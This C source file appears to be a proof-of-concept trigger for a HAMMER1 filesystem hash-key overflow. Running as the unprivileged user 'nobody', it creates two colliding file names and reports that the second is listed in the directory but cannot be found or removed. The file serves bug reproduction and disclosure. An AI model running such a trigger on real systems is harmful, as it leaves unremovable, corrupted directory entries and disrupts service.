/*
 * DF-3111 trigger — HAMMER1 ALG1 namekey iteration-range overflow.
 * See solver.h for the full root-cause/attack description.
 * Usage: trig <dir>   (drops to uid/gid 65534 = nobody)
 */
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/stat.h>
#include <dirent.h>
#include "solver.h"

static int count_dirents(const char *name, int len)
{
    DIR *d = opendir(".");
    struct dirent *de;
    int cnt = 0;
    if (!d)
        return -1;
    while ((de = readdir(d)) != NULL)
        if (de->d_namlen == len && memcmp(de->d_name, name, len) == 0)
            cnt++;
    closedir(d);
    return cnt;
}

int main(int argc, char **argv)
{
    char nameA[16], nameB[16];
    int lenA, lenB;
    int64_t key;
    struct stat st;
    int fd, rc, fail = 0;

    if (argc != 2) {
        fprintf(stderr, "usage: trig <dir-on-hammer1-v6+>\n");
        return 2;
    }
    if (df_find_pair(nameA, &lenA, nameB, &lenB, &key) < 0)
        return 1;

    if (setgid(65534) || setuid(65534)) {
        perror("setuid/setgid");
        return 1;
    }
    printf("[running as uid=%d gid=%d in %s]\n", getuid(), getgid(), argv[1]);
    printf("[solver: %d wrap-zone names; identical-key pair selected]\n", df_n);

    df_pr_name("nameA(created 1st, keeps K) ", nameA, lenA, key);
    df_pr_name("nameB(created 2nd, K+1)     ", nameB, lenB, key);
    {
        uint64_t ke = (uint64_t)key + 0xffffffU;
        printf("key_end (K+max_iterations)   = %016llx wrapped=%s\n",
               (unsigned long long)ke,
               (ke >> 63) ? "YES(negative)" : "no");
    }

    if (chdir(argv[1])) {
        perror("chdir");
        return 1;
    }

    fd = open(nameA, O_CREAT | O_EXCL | O_WRONLY, 0644);
    printf("create nameA      : %s\n", fd >= 0 ? "OK" : strerror(errno));
    if (fd < 0) fail = 1; else close(fd);

    fd = open(nameB, O_CREAT | O_EXCL | O_WRONLY, 0644);
    printf("create nameB      : %s (create-time collision bump -> K+1)\n",
           fd >= 0 ? "OK" : strerror(errno));
    if (fd < 0) fail = 1; else close(fd);

    rc = lstat(nameB, &st);
    printf("stat   nameB      : %s (positive namecache may mask; see recheck)\n",
           rc == 0 ? "OK" : strerror(errno));

    rc = unlink(nameB);
    printf("unlink nameB      : %s%s\n", rc == 0 ? "OK" : strerror(errno),
           (rc < 0 && errno == ENOENT) ? "   <-- BUG: entry exists but is unfindable" : "");
    if (rc == 0) fail = 1;

    rc = count_dirents(nameB, lenB);
    printf("readdir nameB cnt : %d%s\n", rc,
           rc > 0 ? "   <-- listed but unfindable/unremovable" : "");
    if (rc <= 0) fail = 1;

    /* do NOT remove nameA: it must hold slot K to keep nameB poisoned */
    printf(fail ? "RESULT: NOT-REPRODUCED\n" : "RESULT: BUG-REPRODUCED (mem-state)\n");
    printf("NEXT: remount the fs, then run recheck for the durable proof\n");
    return fail ? 1 : 0;
}
